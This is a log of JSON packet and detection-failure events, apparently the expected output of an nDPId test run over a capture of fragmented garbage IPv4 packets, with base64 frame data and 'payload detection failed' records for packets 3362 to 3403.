+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740433,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740839,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 